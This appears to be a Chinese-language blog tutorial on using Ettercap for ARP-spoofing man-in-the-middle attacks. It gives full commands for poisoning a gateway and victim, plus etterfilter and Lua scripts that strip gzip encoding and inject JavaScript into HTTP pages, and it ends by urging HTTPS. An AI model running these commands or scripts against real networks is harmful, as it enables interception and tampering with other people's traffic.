使用Ettercap filter進行流量監聽和數據篡改

簡介

Ettercap是一個綜合性的中間人攻擊工具,使用它可以進行ARP欺騙、攔截器、DNS欺騙等操作,本文將介紹使用ettercap的文本模式進行代碼注入的方式和注意點。

安裝ettercap

ettercap提供了對各個操作系統的支持,這裏主要介紹macOS的安裝方式。

通過Homebrew安裝

這種安裝方式較爲簡單,但是安裝的ettercap不支持Lua腳本,如果想要使用支持Lua腳本的ettercap,需要通過源碼安裝。

brew install ettercap

通過源碼安裝

源碼安裝需要較多的依賴庫,具體依賴可以在Ettercap文檔中查看,如果是Ubuntu平臺,使用apt-get即可安裝所有依賴,如果是macOS平臺,可以使用Homebrew安裝大部分缺失的依賴,如果Homebrew上沒有,可以嘗試使用gem,筆者使用Homebrew和gem完成了所有依賴庫的安裝。

1.首先將ettercap源碼clone到本地,然後編輯CMakeLists.txt,將第16行的

option(ENABLE_LUA "Enable LUA support (EXPERIMENTAL)" OFF)

置爲ON,如果只是使用文本模式,可以將ENABLE_CURSES和ENABLE_GTK置爲OFF。

2.按照文檔建立並進入builid目錄,執行如下命令。

cmake .. -DOPENSSL_ROOT_DIR=/usr/local/opt/openssl -DOPENSSL_LIBRARIES=/usr/local/opt/openssl/lib

3.如果第二步中有提示某個庫not found,先安裝對應的庫,然後先執行make clean-all,再重新執行2中的命令,如果只有memrchr提示缺少,則可以忽略,經測試不會影響ettercap的運行。
如果沒有上述問題,執行如下命令完成安裝。

sudo make install

4.完成安裝後,可以使用which ettercap查看安裝位置,默認來說,ettercap的相關工具在/usr/local/bin/,配置文件在/etc/ettercap,運行時執行的Lua腳本在/usr/local/share/ettercap/lua/

使用ettercap進行中間人攻擊

流量監聽

通過ARP欺騙,我們可以使得受害者將我們視爲網關,而網關將我們視爲受害者,這樣就實現了從請求到響應的雙向監聽,下面我們假設192.168.0.1是網關,而192.168.0.119爲受害者,執行下面的命令即可進行監聽。

sudo ettercap -T -q -M ARP:remote -w network.pcap /192.168.0.1// /192.168.0.119//

其中-T代表文本模式,-q爲安靜模式(不在控制檯輸出監聽的數據),-M爲中間人攻擊,-w指定的是存儲到磁盤的網絡數據包,可以使用Charles或Wireshark等工具進行分析。其中ip地址的格式,根據編譯源碼時CMakeList中指定的是否支持IPv6,分別爲MAC/IP/IPv6/PORTMAC/IP/PORT格式。

當受害者瀏覽網頁時,網絡報文會被記錄在network.pcap中,按下空格會退出安靜模式,將報文同時打印到控制檯。

數據篡改

使用etterfilter

1.首先我們介紹使用etterfilter編譯filter並加載到ettercap對網絡請求進行處理的方法,首先建立一個ig.filter文件,寫入以下內容。

# 攔截受害者發送的請求,將報文壓縮方式由gzip降級爲不壓縮
if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
        pcre_regex(DATA.data, "(Accept-Encoding:).*([\r\n])", "$1 identity$2");
        msg("change encoding");
    }
}
# 對於服務器響應,向head中注入js
if (ip.proto == TCP && tcp.src == 80) {
    if (search(DATA.data, "<head>")) {
        replace("<head>", "<head><script>alert('js inject')</script>");
        msg("inject head");
    }
}

這裏需要注意的是,一定要對請求頭的Accept-Encoding進行篡改,否則響應默認使用gzip編碼的,這樣我們直接注入明文js是無效的,將編碼方式降級爲Identity,服務端會返回明文報文,同時客戶端也不會再對報文進行一次解碼。

2.使用etterfilter將filter文件編譯成ef文件

etterfilter ig.filter -o ig.ef

3.在監聽數據的同時加載過濾器

sudo ettercap -T -q -F ig.ef -M ARP:remote -w network.pcap /192.168.0.1// /192.168.0.119//

4.嘗試在受害者端使用瀏覽器訪問未使用HTTPS的網站,例如http://m.ctrip.com,如果成功會看到網頁彈窗。

使用Lua腳本描述過濾器

使用Lua腳本的好處是不需要經過編譯,直接加載即可,另外一個好處是,不會破壞網頁的原始結構 ,而etterfilter方式在數據包中含有大量數據,又向其中添加數據時,會造成包尾被截斷,從而破壞網頁結構。

使用Lua實現上述功能的代碼如下。

description = "Inject JS using Lua.";
local hooks = require("hook_points");
local packet = require("packet");
inject = "<script>alert('Inject JS using Lua.')</script>";

hook_point = hooks.filter;

packet_rule = function(packet_object)
    return (packet_object:is_tcp() and
            packet_object:has_data() and
            (packet_object:dst_port() == 80 or
            packet_object:src_port() == 80));
end

action = function(packet_object)
    p = packet_object;
    data = p:read_data();
    if string.find(data, "Accept.Encoding:") then
        s,e = string.find(data, "Accept.Encoding:.-\n")
        newdata = string.gsub(data, "Accept.Encoding:.-\n",
        "Accept-Encoding: identity " .. string.rep(" ", e - s - 27) .. "\r\n")
        packet.set_data(p, newdata)
        -- ettercap.log("Changing Encoding");
        return
    end
    body = string.upper(data);
    if (string.find(body, '<HEAD>')) then
        s,e = string.find(body, '<TITLE>.-</TITLE>');
        if s then
            title = string.sub(data, s, e);
            s,e = string.find(body, '<TITLE>.-</TITLE>');
            if not s or not e then
                return;
            end
            len = e - s;
            idata = "<title>" .. description .. "</title>" .. inject .. "\n";
            print(idata);
            newstr = string.sub(data, 0, s - 1) .. idata .. string.rep(" ", len - string.len(idata)) .. string.sub(data, e+1, -1);
            -- ettercap.log("Updating string");
            packet.set_data(p, newstr);
        end
    end
end

ettercap中的lua API可以在/usr/local/share/ettercap/lua中查看,在網絡監聽時加載Lua腳本的命令如下。

sudo ettercap -T -q -M ARP:remote --lua-script ig.lua -w network.pcap /192.168.0.1// /192.168.0.119//

總結

本文主要介紹了使用ettercap監聽和篡改HTTP流量的方法,可以看到在強大的工具面前,HTTP流量是不堪一擊的。因此普及HTTPS對於保護數據安全即爲重要,除此之外,CISCO等高端路由器默認對ARP欺騙進行了防禦,在其局域網下也很難進行中間人攻擊。對於HTTPS的數據監聽,我們有兩種思路,一種是降級爲HTTP,這種方式易被察覺;另一種是使用SSLStrip等工具進行會話劫持。

參考資料

  1. 灰帽黑客(第4版)
  2. https://github.com/Ettercap/ettercap
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章